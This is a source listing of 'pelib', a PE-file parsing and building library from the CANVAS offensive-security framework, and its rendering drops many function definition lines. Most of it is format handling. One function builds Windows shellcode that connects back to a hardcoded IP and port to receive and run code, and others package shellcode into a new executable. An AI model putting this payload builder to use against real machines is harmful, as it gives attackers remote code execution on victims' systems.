| Trees | Indices | Help |
|
|---|
|
|
1 #! /usr/bin/env python
2 """
3 (c) Immunity, Inc. 2004-2007
4
5
6 U{Immunity Inc.<http://www.immunityinc.com>} pelib
7
8 Proprietary CANVAS source code - use only under the license agreement
9 specified in LICENSE.txt in your CANVAS distribution
10 Copyright Immunity, Inc, 2002-2007
11 http://www.immunityinc.com/CANVAS/ for more information
12
13 """
14
15 __VERSION__ = '1.0'
16
17 import struct, sys
18 sys.path.append(".")
19 sys.path.append("../")
20 #try:
21 # import mosdefutils
22 #except ImportError:
23 # # Is this IMdbug
24 # import immutils
25
26 try:
27 import mosdef
28 except ImportError:
29 pass
30 try:
31 from shellcode import shellcodeGenerator
32 except ImportError:
33 pass
34
35 IMAGE_SIZEOF_FILE_HEADER=20
36 MZ_MAGIC = 0x5A4D
37 PE_MAGIC = 0x4550
38 IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
39 IMAGE_ORDINAL_FLAG = 0x80000000L
40
41 # PE documentation:
42 # http://win32assembly.online.fr/files/pe1.zip
43
45 tbl=[]
46 tmp=""
47 hex=""
48 i=0
49 for a in buf:
50 hex+="%02X "% ord(a)
51 i+=1
52 if ord(a) >=0x20 and ord(a) <0x7f:
53 tmp+=a
54 else:
55 tmp+="."
56 if i%16 == 0:
57 tbl.append((hex, tmp))
58 hex=""
59 tmp=""
60 tbl.append((hex, tmp))
61 return tbl
62
64 idx= fd.tell()
65 fd.seek(offset)
66 b=f.read(4096*4)
67 zero=b.find("\0")
68 fd.seek(idx)
69 if zero > -1:
70 return b[:zero]
71 return ""
72
73 #typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
74 #USHORT e_magic; // Magic number
75 #USHORT e_cblp; // Bytes on last page of file
76 #USHORT e_cp; // Pages in file
77 #USHORT e_crlc; // Relocations
78 #USHORT e_cparhdr; // Size of header in paragraphs
79 #USHORT e_minalloc; // Minimum extra paragraphs needed
80 #USHORT e_maxalloc; // Maximum extra paragraphs needed
81 #USHORT e_ss; // Initial (relative) SS value
82 #USHORT e_sp; // Initial SP value
83 #USHORT e_csum; // Checksum
84 #USHORT e_ip; // Initial IP value
85 #USHORT e_cs; // Initial (relative) CS value
86 #USHORT e_lfarlc; // File address of relocation table
87 #USHORT e_ovno; // Overlay number
88 #USHORT e_res[4]; // Reserved words
89 #USHORT e_oemid; // OEM identifier (for e_oeminfo)
90 #USHORT e_oeminfo; // OEM information; e_oemid specific
91 #USHORT e_res2[10]; // Reserved words
92 #LONG e_lfanew; // File address of new exe header
93 #} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
94
95
97
99
101 self.fmt="<30HL"
102 self.e_magic=0x5A4D
103 self.e_cblp=self.e_cp=self.e_crlc=self.e_cparhdr=self.e_minalloc=self.e_maxalloc = self.e_ss = self.e_sp =\
104 self.e_csum = self.e_ip= self.e_cs = self.e_lfarlc = self.e_ovno = self.e_oemid =\
105 self.e_oeminfo = self.e_res2 =self.e_lfanew = 0
106
107 self.e_res = [0,0,0,0]
108 self.e_res2 = [0,0,0,0,0,0,0,0,0,0]
109
112
114 try:
115 buf=struct.unpack(self.fmt, data[:struct.calcsize(self.fmt)])
116 except struct.error:
117 raise PEError, "The header doesn't correspond to a MZ header"
118
119 self.e_magic = buf[0]
120 self.e_cblp = buf[1]
121 self.e_cp = buf[2]
122 self.e_crlc = buf[3]
123 self.e_cparhdr = buf[4]
124 self.e_minalloc = buf[5]
125 self.e_maxalloc = buf[6]
126 self.e_ss = buf[7]
127 self.e_sp = buf[8]
128 self.e_csum = buf[9]
129 self.e_ip = buf[10]
130 self.e_cs = buf[11]
131 self.e_lfarlc = buf[12]
132 self.e_ovno = buf[13]
133 self.e_res = buf[14:18]
134 self.e_oemid = buf[18]
135 self.e_oeminfo = buf[19]
136 self.e_res2 = buf[20:30]
137 self.e_lfanew = buf[30]
138
139 if self.e_magic != MZ_MAGIC:
140 raise PEError, "The header doesn't correspond to a MZ header"
141
143 return struct.pack(self.fmt, self.e_magic, self.e_cblp, self.e_cp,\
144 self.e_crlc, self.e_cparhdr, self.e_minalloc,\
145 self.e_maxalloc, self.e_ss, self.e_sp, self.e_csum,\
146 self.e_ip, self.e_cs, self.e_lfarlc, self.e_ovno, \
147 self.e_res[0],self.e_res[1],self.e_res[2],self.e_res[3],\
148 self.e_oemid, self.e_oeminfo,\
149 self.e_res2[0], self.e_res2[1], self.e_res2[2], self.e_res2[3],\
150 self.e_res2[4], self.e_res2[5], self.e_res2[6], self.e_res2[7],
151 self.e_res2[8], self.e_res2[9], self.e_lfanew)
152
153 # returns the e_lfanew offset
156
162
164 self.Hint = struct.unpack(self.fmt, data[:2])[0]
165 ndx = data[2:].find("\0")
166 if ndx == -1:
167 raise PEError, "No string found on ImageImportByName"
168 self.Name = data[2:2+ndx]
169
172
175
178 self.fmt= "<LLLLL"
179 self.OriginalFirstThunk= self.TimeDateStamp= self.ForwarderChain= self.Name=\
180 self.FirstThunk=0
181 self.sName =""
182 self.Imports={}
183
185 (self.OriginalFirstThunk, self.TimeDateStamp, self.ForwarderChain, self.Name,\
186 self.FirstThunk) = struct.unpack(self.fmt, data)
187
190
193
195 return struct.pack(self.fmt, self.OriginalFirstThunk, self.TimeDateStamp, self.ForwarderChain, self.Name,\
196 self.FirstThunk)
197
200
201 #typedef struct _IMAGE_DATA_DIRECTORY {
202 # ULONG VirtualAddress;
203 # ULONG Size;
204 #} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
205
206
220
221 #typedef struct _IMAGE_EXPORT_DIRECTORY {
222 # DWORD Characteristics;
223 # DWORD TimeDateStamp;
224 # WORD MajorVersion;
225 # WORD MinorVersion;
226 # DWORD Name;
227 # DWORD Base;
228 # DWORD NumberOfFunctions;
229 # DWORD NumberOfNames;
230 # DWORD AddressOfFunctions; // RVA from base of image
231 # DWORD AddressOfNames; // RVA from base of image
232 # DWORD AddressOfNameOrdinals; // RVA from base of image
233 #} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY
236 self.fmt = "<2L2H7L"
237 self.Characteristics = self.TimeDateStamp = self.MajorVersion = self.MinorVersion = self.Name = self.Base=\
238 self.NumberOfFunctions = self.NumberOfNames = self.AddressOfFunctions = self.AddressOfNames = \
239 self.AddressOfNameOrdinals = 0
240 self.sName=""
241
244
247
249 (self.Characteristics, self.TimeDateStamp, self.MajorVersion, self.MinorVersion, self.Name, self.Base,\
250 self.NumberOfFunctions, self.NumberOfNames, self.AddressOfFunctions, self.AddressOfNames, \
251 self.AddressOfNameOrdinals) = struct.unpack(self.fmt, data)
252
257
258
259
260 #define IMAGE_SIZEOF_SHORT_NAME 8
261 #
262 #typedef struct _IMAGE_SECTION_HEADER {
263 # BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
264 # union {
265 # DWORD PhysicalAddress;
266 # DWORD VirtualSize;
267 # } Misc;umber
268 # DWORD VirtualAddress;
269 # DWORD SizeOfRawData;
270 # DWORD PointerToRawData;
271 # DWORD PointerToRelocations;
272 # DWORD PointerToLinenumbers;
273 # WORD NumberOfRelocations;
274 # WORD NumberOfLinenumbers;
275 # DWORD Characteristics;
276 #} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
277
280 self.fmt="<LLLLLLHHL"
281 self.Name=""
282 self.VirtualSize = self.VirtualAddress = self.SizeOfRawData = self.PointerToRawData =\
283 self.PointerToRelocations = self.PointerToLinenumbers=\
284 self.NumberOfRelocations = self.NumberOfLinenumbers =\
285 self.Characteristics = 0
286
289
291 return rva >= (self.VirtualAddress+imagebase) and rva < (self.VirtualAddress+self.VirtualSize+imagebase)
292
295
296
298 idx=0
299
300 self.Name=data[idx:idx+8]
301 idx+=8
302
303 (self.VirtualSize, self.VirtualAddress, self.SizeOfRawData, self.PointerToRawData ,\
304 self.PointerToRelocations, self.PointerToLinenumbers,\
305 self.NumberOfRelocations, self.NumberOfLinenumbers,\
306 self.Characteristics)= \
307 struct.unpack(self.fmt, data[idx:])
308
310 self.Name = (self.Name + "\x00" * (8-len(self.Name)))[:8]
311 return self.Name + struct.pack(self.fmt, self.VirtualSize, \
312 self.VirtualAddress, self.SizeOfRawData, self.PointerToRawData,\
313 self.PointerToRelocations, self.PointerToLinenumbers,\
314 self.NumberOfRelocations, self.NumberOfLinenumbers,\
315 self.Characteristics)
316
317
318
319 #typedef struct _IMAGE_FILE_HEADER {
320 # USHORT Machine;
321 # USHORT NumberOfSections;
322 # ULONG TimeDateStamp;
323 # ULONG PointerToSymbolTable;
324 # ULONG NumberOfSymbols;
325 # USHORT SizeOfOptionalHeader;
326 # USHORT Characteristics;
327 #} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
328
329 ##define IMAGE_SIZEOF_FILE_HEADER 20
332 self.imagefmt= "<2H3L2H"
333 (self.Machine,\
334 self.NumberOfSections,\
335 self.TimeDateStamp,\
336 self.PointerToSymbolTable,\
337 self.NumberOfSymbols,\
338 self.SizeOfOptionalHeader,\
339 self.Characteristics)= (0,0,0,0,0,0xe0,0)
340
342 try:
343 (self.Machine,\
344 self.NumberOfSections,\
345 self.TimeDateStamp,\
346 self.PointerToSymbolTable,\
347 self.NumberOfSymbols,\
348 self.SizeOfOptionalHeader,\
349 self.Characteristics)=struct.unpack(self.imagefmt, data)
350 except struct.error:
351 raise PEError, "Invalid IMAGE header" % self.signature
352
355
357 try:
358 return struct.pack(self.imagefmt,self.Machine,\
359 self.NumberOfSections,\
360 self.TimeDateStamp,\
361 self.PointerToSymbolTable,\
362 self.NumberOfSymbols,\
363 self.SizeOfOptionalHeader,\
364 self.Characteristics)
365 except struct.error:
366 raise PEError, "Image not initialized" % self.signature
367
368
369 #typedef struct _IMAGE_OPTIONAL_HEADER {
370 # //
371 # // Standard fields.
372 # //
373 # USHORT Magic;
374 # UCHAR MajorLinkerVersion;
375 # UCHAR MinorLinkerVersion;
376 # ULONG SizeOfCode;
377 # ULONG SizeOfInitializedData;
378 # ULONG SizeOfUninitializedData;
379 # ULONG AddressOfEntryPoint;
380 # ULONG BaseOfCode;
381 # ULONG BaseOfData;
382 # //
383 # // NT additional fields.
384 # //
385 # ULONG ImageBase;
386 # ULONG SectionAlignment;
387 # ULONG FileAlignment;
388 # USHORT MajorOperatingSystemVersion;
389 # USHORT MinorOperatingSystemVersion;
390 # USHORT MajorImageVersion;
391 # USHORT MinorImageVersion;
392 # USHORT MajorSubsystemVersion;
393 # USHORT MinorSubsystemVersion;
394 # ULONG Reserved1;
395 # ULONG SizeOfImage;
396 # ULONG SizeOfHeaders;
397 # ULONG CheckSum;
398 # USHORT Subsystem;
399 # USHORT DllCharacteristics;
400 # ULONG SizeOfStackReserve;
401 # ULONG SizeOfStackCommit;
402 # ULONG SizeOfHeapReserve;
403 # ULONG SizeOfHeapCommit;
404 # ULONG LoaderFlags;
405 # ULONG NumberOfRvaAndSizes;
406 # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
407 #} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;
408
411 self.optionalfmt="<HBB9L6H4L2H6L"
412 self.Magic=0x010b
413 self.MajorLinkerVersion = self.MinorLinkerVersion = self.SizeOfCode =\
414 self.SizeOfInitializedData = self.SizeOfUninitializedData = self.AddressOfEntryPoint =\
415 self.BaseOfCode = self.BaseOfData = self.ImageBase = self.SectionAlignment = self.FileAlignment =\
416 self.MajorOperatingSystemVersion = self.MinorOperatingSystemVersion = self.MajorImageVersion =\
417 self.MinorImageVersion = self.MajorSubsystemVersion = self.MinorSubsystemVersion =\
418 self.Reserved1 = self.SizeOfImage = self.SizeOfHeaders = self.CheckSum = self.Subsystem =\
419 self.DllCharacteristics = self.SizeOfStackReserve = self.SizeOfStackCommit = self.SizeOfHeapReserve=\
420 self.SizeOfHeapCommit = self.LoaderFlags = self.NumberOfRvaAndSizes =0
421
424
426 return "self.Magic %08x,\
427 self.MajorLinkerVersion %08x,\
428 self.MinorLinkerVersion %08x,\
429 self.SizeOfCode %08x,\
430 self.SizeOfInitializedData %08x,\
431 self.SizeOfUninitializedData %08x,\
432 self.AddressOfEntryPoint %08x,\
433 self.BaseOfCode %08x,\
434 self.BaseOfData %08x,\
435 self.ImageBase %08x,\
436 self.SectionAlignment %08x,\
437 self.FileAlignment %08x,\
438 self.MajorOperatingSystemVersion %08x,\
439 self.MinorOperatingSystemVersion %08x,\
440 self.MajorImageVersion %08x,\
441 self.MinorImageVersion %08x,\
442 self.MajorSubsystemVersion %08x,\
443 self.MinorSubsystemVersion %08x,\
444 self.Reserved1 %08x,\
445 self.SizeOfImage %08x,\
446 self.SizeOfHeaders %08x,\
447 self.CheckSum %08x,\
448 self.Subsystem %08x,\
449 self.DllCharacteristics %08x,\
450 self.SizeOfStackReserve %08x,\
451 self.SizeOfStackCommit %08x,\
452 self.SizeOfHeapReserve %08x,\
453 self.SizeOfHeapCommit %08x,\
454 self.LoaderFlags %08x,\
455 self.NumberOfRvaAndSizes %08x" % \
456 (self.Magic,\
457 self.MajorLinkerVersion,\
458 self.MinorLinkerVersion,\
459 self.SizeOfCode,\
460 self.SizeOfInitializedData,\
461 self.SizeOfUninitializedData,\
462 self.AddressOfEntryPoint,\
463 self.BaseOfCode,\
464 self.BaseOfData,\
465 self.ImageBase,\
466 self.SectionAlignment,\
467 self.FileAlignment,\
468 self.MajorOperatingSystemVersion,\
469 self.MinorOperatingSystemVersion,\
470 self.MajorImageVersion,\
471 self.MinorImageVersion,\
472 self.MajorSubsystemVersion,\
473 self.MinorSubsystemVersion,\
474 self.Reserved1,\
475 self.SizeOfImage,\
476 self.SizeOfHeaders,\
477 self.CheckSum,\
478 self.Subsystem,\
479 self.DllCharacteristics,\
480 self.SizeOfStackReserve,\
481 self.SizeOfStackCommit,\
482 self.SizeOfHeapReserve,\
483 self.SizeOfHeapCommit,\
484 self.LoaderFlags,\
485 self.NumberOfRvaAndSizes )
486
488 try:
489 (self.Magic,\
490 self.MajorLinkerVersion,\
491 self.MinorLinkerVersion,\
492 self.SizeOfCode,\
493 self.SizeOfInitializedData,\
494 self.SizeOfUninitializedData,\
495 self.AddressOfEntryPoint,\
496 self.BaseOfCode,\
497 self.BaseOfData,\
498 self.ImageBase,\
499 self.SectionAlignment,\
500 self.FileAlignment,\
501 self.MajorOperatingSystemVersion,\
502 self.MinorOperatingSystemVersion,\
503 self.MajorImageVersion,\
504 self.MinorImageVersion,\
505 self.MajorSubsystemVersion,\
506 self.MinorSubsystemVersion,\
507 self.Reserved1,\
508 self.SizeOfImage,\
509 self.SizeOfHeaders,\
510 self.CheckSum,\
511 self.Subsystem,\
512 self.DllCharacteristics,\
513 self.SizeOfStackReserve,\
514 self.SizeOfStackCommit,\
515 self.SizeOfHeapReserve,\
516 self.SizeOfHeapCommit,\
517 self.LoaderFlags,\
518 self.NumberOfRvaAndSizes )= struct.unpack(self.optionalfmt, data)
519 except struct.error:
520 raise PEError, "Invalid Optional Header" % self.signature
521
523 try:
524 return struct.pack(self.optionalfmt, self.Magic,\
525 self.MajorLinkerVersion,\
526 self.MinorLinkerVersion,\
527 self.SizeOfCode,\
528 self.SizeOfInitializedData,\
529 self.SizeOfUninitializedData,\
530 self.AddressOfEntryPoint,\
531 self.BaseOfCode,\
532 self.BaseOfData,\
533 self.ImageBase,\
534 self.SectionAlignment,\
535 self.FileAlignment,\
536 self.MajorOperatingSystemVersion,\
537 self.MinorOperatingSystemVersion,\
538 self.MajorImageVersion,\
539 self.MinorImageVersion,\
540 self.MajorSubsystemVersion,\
541 self.MinorSubsystemVersion,\
542 self.Reserved1,\
543 self.SizeOfImage,\
544 self.SizeOfHeaders,\
545 self.CheckSum,\
546 self.Subsystem,\
547 self.DllCharacteristics,\
548 self.SizeOfStackReserve,\
549 self.SizeOfStackCommit,\
550 self.SizeOfHeapReserve,\
551 self.SizeOfHeapCommit,\
552 self.LoaderFlags,\
553 self.NumberOfRvaAndSizes )
554
555 except struct.error:
556 raise PEError, "Invalid Optional Header" % self.signature
557
564
566 self.offset2PE=offset2PE
567 idx=self.offset2PE
568
569 self.signature,=struct.unpack("L", data[idx:idx+4])
570 idx+=4
571
572 if self.signature != PE_MAGIC:
573 raise PEError, "Invalid PE Signature: %08x" % self.signature
574
575 self.IMGhdr = IMGhdr()
576 self.IMGhdr.get(data[idx: idx+self.IMGhdr.getSize()])
577
578 idx += self.IMGhdr.getSize()
579
580 self.IMGOPThdr = IMGOPThdr()
581 self.IMGOPThdr.get(data[idx:idx+self.IMGOPThdr.getSize()])
582 idx += self.IMGOPThdr.getSize()
583
584
585 self.getDirectories(data[idx: idx+IMAGE_NUMBEROF_DIRECTORY_ENTRIES*8])
586 idx += IMAGE_NUMBEROF_DIRECTORY_ENTRIES*8
587
588 #print "-" * 4 + " Directories "+ "-" * 4
589 #self.printDirectories()
590
591 idx += self.getSections(data[idx:])
592
593 #print "-" * 4 + " Sections "+ "-" * 4
594 #self.printSections()
595
596 # Getting Imports
597 #print "-" * 4 + " Imports "+ "-" * 4
598 self.getImportDescriptor(data, self.Directories[1].VirtualAddress)
599 self.printImportDescriptor()
600
601 #print "-" * 4 + " Exports "+ "-" * 4
602 #self.getExportDescriptor(data, self.Directories[0].VirtualAddress)
603
604 #offset=self.getOffsetFromRVA(0x7aac)
605 #print hexdump(data[offset:offset+0x10])
606 #print self.IMGOPThdr.Print()
607
609 idx = 0
610 for a in range(0, self.IMGhdr.NumberOfSections):
611 sec= Section()
612 sec.get(data[idx:idx+sec.getSize()])
613 idx+=sec.getSize()
614 self.Sections[sec.Name] = sec
615
616 return idx+ sec.getSize()
617
619 offset=self.getOffsetFromRVA(rva)
620 if not offset:
621 print "No Import Table Found"
622 return ""
623 while 1:
624 im = ImportDescriptor()
625
626 im.get(data[offset:offset + im.getSize()])
627 if im.OriginalFirstThunk == 0:
628 break
629 im.setSname(self.getString(data, im.Name))
630 if not im.sName:
631 raise PEError, "No String found on Import at offset: 0x%08x" % offset
632 self.Imports[im.sName] = im
633
634 funcNdx= self.getOffsetFromRVA(im.OriginalFirstThunk)
635 while 1:
636 rva2IIBN= struct.unpack("L", data[funcNdx:funcNdx+4])[0]
637 funcNdx+=4
638 if rva2IIBN == 0:
639 break
640 iibn=ImageImportByName()
641 if rva2IIBN & IMAGE_ORDINAL_FLAG:
642 im.setImport("#"+str(rva2IIBN & ~(IMAGE_ORDINAL_FLAG))\
643 , iibn)
644 else:
645 off2IIBN=self.getOffsetFromRVA(rva2IIBN)
646
647 iibn=ImageImportByName()
648 iibn.get(data[off2IIBN:])
649 im.setImport(iibn.Name, iibn)
650
651 offset+=im.getSize()
652
654 for a in self.Imports.keys():
655 im = self.Imports[a] # to clarify a bit
656
657 for b in im.Imports.keys():
658 print a, ":",b
659
661 print "Name VirtulAddress PointerToRawData"
662 for a in self.Sections.keys():
663 print a, hex(self.Sections[a].VirtualAddress), hex(self.Sections[a].PointerToRawData), hex(self.Sections[a].SizeOfRawData )
664
665
667 offset=self.getOffsetFromRVA(rva)
668 end= data[offset:].find("\0")
669 if end ==-1:
670 return ""
671 return data[offset:offset+end]
672
674 sec=None
675 for a in self.Sections.keys():
676 if self.Sections[a].has(rva, imagebase):
677 sec=self.Sections[a]
678 if sec:
679 return (rva -sec.VirtualAddress -imagebase )+ sec.PointerToRawData
680 return ""
681
683 sec = None
684 for a in self.Sections.keys():
685 if self.Sections[a].hasOffset(offset):
686 sec=self.Sections[a]
687 if sec:
688 return (offset -sec.PointerToRawData)+ sec.VirtualAddress+imagebase
689 return ""
690
692 self.Directories=[]
693 for a in range(0, IMAGE_NUMBEROF_DIRECTORY_ENTRIES):
694 directory= Directory()
695 directory.get(data[a*8 : a*8+8])
696 self.Directories.append(directory)
697
701
703 offset=self.getOffsetFromRVA(rva)
704 if not offset:
705 #print "No Export Table Found"
706 return ""
707 em = ImageExportDirectory()
708 em.get(data[offset:offset+ em.getSize()])
709 em.setName( self.getString(data, em.Name)) # We use the address at is it (No offset from rva)
710 addrofnames = self.getOffsetFromRVA(em.AddressOfNames)
711 addroforidnal = self.getOffsetFromRVA(em.AddressOfNameOrdinals)
712 eat = self.getOffsetFromRVA(em.AddressOfFunctions)
713
714 for a in range(0, em.NumberOfNames):
715 nameaddr = struct.unpack("L", data[ addrofnames : addrofnames+4 ])[0]
716 ordinal = struct.unpack("H", data[ addroforidnal : addroforidnal+2 ])[0]
717 address = struct.unpack("L", data[ eat +ordinal*4 : eat +ordinal*4+4 ])[0]
718
719 try:
720 name = self.getString(data, nameaddr)
721 except TypeError, msg:
722 print "Error on Export Table %s" % str(msg)
723 break
724 print "0x%08x (0x%08x): %s" % (self.IMGOPThdr.ImageBase + address, address, name)
725 addrofnames +=4
726 addroforidnal+=2
727
728 #arrayname=struct.unpack("L", data[em.AddressOfNames:em.AddressOfNames+4])[0]
729 #print hex(arrayname)
730 #print self.getString(data, arrayname)
731 #for a in range(0, em.NumberOfNames):
732 # name_off= struct.unpack("L", data[arrayname+a*4:arrayname+a*4+4])[0]
733 # print hex(name_off)
734 # print self.getString(data, name_off)
735 #print em.NumberOfNames
736
737
741
745
747 self.fd = open(filename, "rb")
748 self.filename = filename
749 self.rawdata = self.fd.read()
750 #shellcode=self.createShellcode()
751
752 self._openPE()
753 #self.createPE(shellcode)
754
756 # for test only
757 localhost = "192.168.1.103"
758 localport = 8090
759
760 sc = shellcodeGenerator.win32()
761 sc.addAttr("findeipnoesp",{"subespval": 0x1000 })
762 sc.addAttr("revert_to_self_before_importing_ws2_32", None)
763 sc.addAttr("tcpconnect", {"port" : localport, "ipaddress" : localhost})
764 sc.addAttr("RecvExecWin32",{"socketreg": "FDSPOT"}) #MOSDEF
765 sc.addAttr("ExitThread", None)
766 injectme = sc.get()
767
768 sc = shellcodeGenerator.win32()
769 sc.addAttr("findeipnoesp", {"subespval": 0})
770 sc.addAttr("InjectToSelf", { "injectme" : injectme })
771 sc.addAttr("ExitThread", None)
772 return sc.get()
773
776
778 self.MZ = MZ()
779 idx=0
780 self.MZ.get(self.rawdata[idx:idx+self.MZ.getSize()])
781 self.PE = PE()
782 self.PE.get(self.rawdata, self.MZ.getPEOffset())
783
785
786 buf = self.createPEFileBuf(shellcode, importante)
787
788 f=open(filename, "wb")
789 f.write(buf)
790 f.close()
791
792
794
795 idx= 0
796 # MZ
797 mz = MZ()
798 mz.e_lfanew = mz.getSize()
799
800 idx+= mz.getSize()
801
802 # PE Image Header
803 imgHdr = IMGhdr()
804 imgHdr.Machine = 0x014c # i386
805 imgHdr.NumberOfSections = 0x2 # Code and data for now (Maybe we can do it only one)
806 imgHdr.Characteristics = 0x0102 # Executable on 32-bit machine
807
808 idx += imgHdr.getSize() + 4 # for PE_MAGIC
809
810 # Optional Header
811 imgOpt = IMGOPThdr()
812 imgOpt.SectionAlignment = 0x20 # Thats our aligment
813 imgOpt.FileAlignment = 0x20
814 imgOpt.MajorOperatingSystemVersion = 0x4 # NT4.0
815 imgOpt.MajorSubsystemVersion = 0x4 # Win32 4.0
816 imgOpt.Subsystem = 0x3
817 imgOpt.SizeOfStackReserve = 0x100000
818 imgOpt.SizeOfStackCommit = 0x1000
819 imgOpt.SizeOfHeapReserve = 0x100000
820 imgOpt.SizeOfHeapCommit = 0x1000
821 imgOpt.NumberOfRvaAndSizes= 0x10
822
823 idx += imgOpt.getSize()
824
825 # Directories
826 directories=[]
827 for a in range(0, imgOpt.NumberOfRvaAndSizes):
828 directories.append(Directory())
829
830 idx+= directories[0].getSize() * 16
831
832 # .code section
833 code = Section()
834 code.Name = ".text"
835 code.Characteristics = 0x60000020L # Code | Executable | Readable
836 idx+= code.getSize()
837
838 # .data section
839 data = Section()
840 data.Name = ".data"
841 data.Characteristics = 0xc0000040L # Initialized | Readable | Writeable
842
843 idx += data.getSize()
844
845 code_offset = self.align(idx, imgOpt.FileAlignment)
846 firstpad= "\0" * (code_offset - idx)
847 idx=code_offset
848
849 # we can fill data_buf with our data and that will be loaded into mem :>
850 idx+= len(shellcode)
851 data_offset = self.align(idx, imgOpt.FileAlignment)
852 secondpad= "\0" * (data_offset - idx)
853 idx = data_offset
854 data_buf =""
855 idx+= len(data_buf)
856
857 # Creating the list of ImportDescriptors
858 import_offset =idx
859 imports=[]
860 ndx= 0
861 import_str=""
862
863 for a in importante:
864 i= ImportDescriptor()
865 i.ForwarderChain= 0xFFFFFFFFL
866 imports.append( (i, ndx))
867
868 ndx+=len(a[0]+"\0") # We put on NDX, an index of the name string, so at the end
869 # to find a string, we will do import_str_offset + this_index
870
871 import_str += a[0] + "\0" # Collecting dll names
872
873 # The final importdescriptor
874 imports.append((ImportDescriptor(), 0))
875 idx+= i.getSize() * len(imports)
876
877 import_str_offset = idx
878 idx+= len(import_str)
879
880 off = self.align(idx, imgOpt.FileAlignment)
881 import_str+="\0" * (off-idx)
882 idx = off
883
884 # Original Thunks
885 original_thunks_offset = idx
886 original_thunk=[]
887 for a in importante:
888 original_thunk.append(idx)
889 idx+= len(a[1]) * 4 + 4
890
891 # First thunk offset
892 first_thunks_offset = idx
893 first_thunk=[]
894 for a in importante:
895 first_thunk.append(idx)
896 idx+= len(a[1]) * 4 + 4
897
898 # Creating IIBN
899 IIBN=[]
900 for a in importante:
901 tbl=[]
902 IIBN.append(tbl)
903 for b in a[1]:
904 iibn = ImageImportByName()
905 iibn.Name = b #"RevertToSelf"
906 iibn.Hint = 1
907 tbl.append((iibn, idx))
908 idx+=iibn.getSize()
909
910 endpad= "\0" * (self.align(idx, imgOpt.FileAlignment) - idx)
911
912 # Filling the gaps
913 imgOpt.SizeOfCode = len(shellcode) + len(secondpad)
914 imgOpt.BaseOfCode = imgOpt.AddressOfEntryPoint = code_offset
915 imgOpt.BaseOfData = data_offset
916 imgOpt.ImageBase = 0x40000
917 imgOpt.SizeOfInitializedData = 0x20
918 imgOpt.SizeOfImage = 0xc # ?
919
920 imgOpt.SizeOfHeaders = code_offset
921 imgOpt.NumberOfRvaAndSizes = 0x10
922
923 # Import Directory
924
925 directories[1].VirtualSize=directories[1].Size = idx - import_offset
926 directories[1].VirtualAddress= import_offset
927
928 # code and data
929 code.VirtualAddress = code_offset
930 code.VirtualSize= code.SizeOfRawData = imgOpt.SizeOfCode
931 code.PointerToRawData = code_offset
932
933 data.VirtualAddress = data_offset
934 data.VirtualSize = data.SizeOfRawData = idx - data_offset #len(data_buf)
935 data.PointerToRawData = data_offset
936
937 imgOpt.SizeOfImage = idx # code.SizeOfRawData + data.SizeOfRawData
938
939 # Fixing imports with thunk info
940 for a in range(0, len(imports)-1):
941 imports[a][0].OriginalFirstThunk= original_thunk[a]
942 imports[a][0].FirstThunk= first_thunk[a]
943 imports[a][0].Name = import_str_offset + imports[a][1]
944
945
946 # RAWing...
947 buf = mz.raw() + struct.pack("L", PE_MAGIC) +imgHdr.raw() + imgOpt.raw()
948 for a in directories:
949 buf+= a.raw()
950 buf+= code.raw()
951 buf+= data.raw()
952 buf+= firstpad
953 buf+= shellcode
954 buf+= secondpad
955 buf+= data_buf
956
957 for a in imports:
958 buf+= a[0].raw()
959 buf+= import_str
960
961 # ORIGINAL THUNK
962 for a in IIBN:
963 for b in a: # Listing function
964 buf+=struct.pack("L",b[1])
965 buf+=struct.pack("L",0x0)
966
967 # FIRST THUNK
968 for a in IIBN:
969 for b in a: # Listing function
970 buf+=struct.pack("L",b[1])
971 buf+=struct.pack("L",0x0)
972
973 # IIBN
974 for a in IIBN:
975 for b in a:
976 buf+= b[0].raw()
977 buf+= endpad
978
979 return buf
980
981
982 # For MOSDEF
984 from win32peresolver import win32peresolver
985 # shellcode, importante=[ ("advapi32.dll", ["RevertToSelf"])] ):
986
987 # Mixing MOSDEF with PElib.
988 # Concerning Mosdef:
989 # Basically, we have a win32peresolver that pass some fixed address (that would be our PE PLT)
990 # and thats returned to the compile code. The win32peresolver put all this address on a cached.
991 #
992 # Concerning PE
993 # First of all, we need to compile before everything, cause we need the list of imported functions
994 # So, we send mosdef a hardcoded address(0x401A0) offset: 0x1A0 which is where the .text section start.
995 # At that address, will be our PLT (jmp *(IAT_entry)), so we have to point the Entry Address to
996 # .code + function_number * sizeof(jmp *(IAT_entry)). So we land on the begging on the shellcode.
997 #
998 # To discover where the IAT would be (we need to know this, before creating the PLT), we need to calculate
999 # where the First thunk
1000 #
1001 # buf+= secondpad
1002 # buf+= data_buf
1003 #
1004 # for a in imports:
1005 # buf+= a[0].raw()
1006 # buf+= import_str
1007 #
1008 # # ORIGINAL THUNK
1009 # for a in IIBN:
1010 # for b in a: # Listing function
1011 # buf+=struct.pack("L",b[1])
1012 # buf+=struct.pack("L",0x0)
1013 # # FIRST THUNK
1014 # for a in IIBN:
1015 # for b in a: # Listing function
1016 # buf+=struct.pack("L",b[1])
1017 # buf+=struct.pack("L",0x0)
1018
1019 # side note: .code must be aligned
1020
1021 image_base = 0x40000
1022 plt_len = len(mosdef.assemble("jmp *(0x01020304)", "X86"))
1023 plt_entry = 0x1A0 + image_base
1024
1025 w=win32peresolver(plt_entry)
1026 w.setPLTEntrySize(plt_len)
1027
1028 shellcode = w.compile(code, vars)
1029
1030 # We need to pass the functioncache[func] = address into [ ("advapi32.dll", ["RevertToSelf"])] format
1031 # Yeah, probably you can do it better or with one fancy python line
1032 dll={}
1033 func_by_addr = {}
1034 functions_num=0
1035
1036
1037 for a in w.remotefunctioncache.keys():
1038 s = a.split("|")
1039 if dll.has_key( s[0] ):
1040 dll[s[0] ].append(s[1])
1041 else:
1042 dll[ s[0] ] = [ s[1] ]
1043 functions_num+=1
1044 func_by_addr[a] = w.remotefunctioncache[a]
1045
1046 importante = []
1047 for a in dll.keys():
1048 importante.append( (a, dll[a]) )
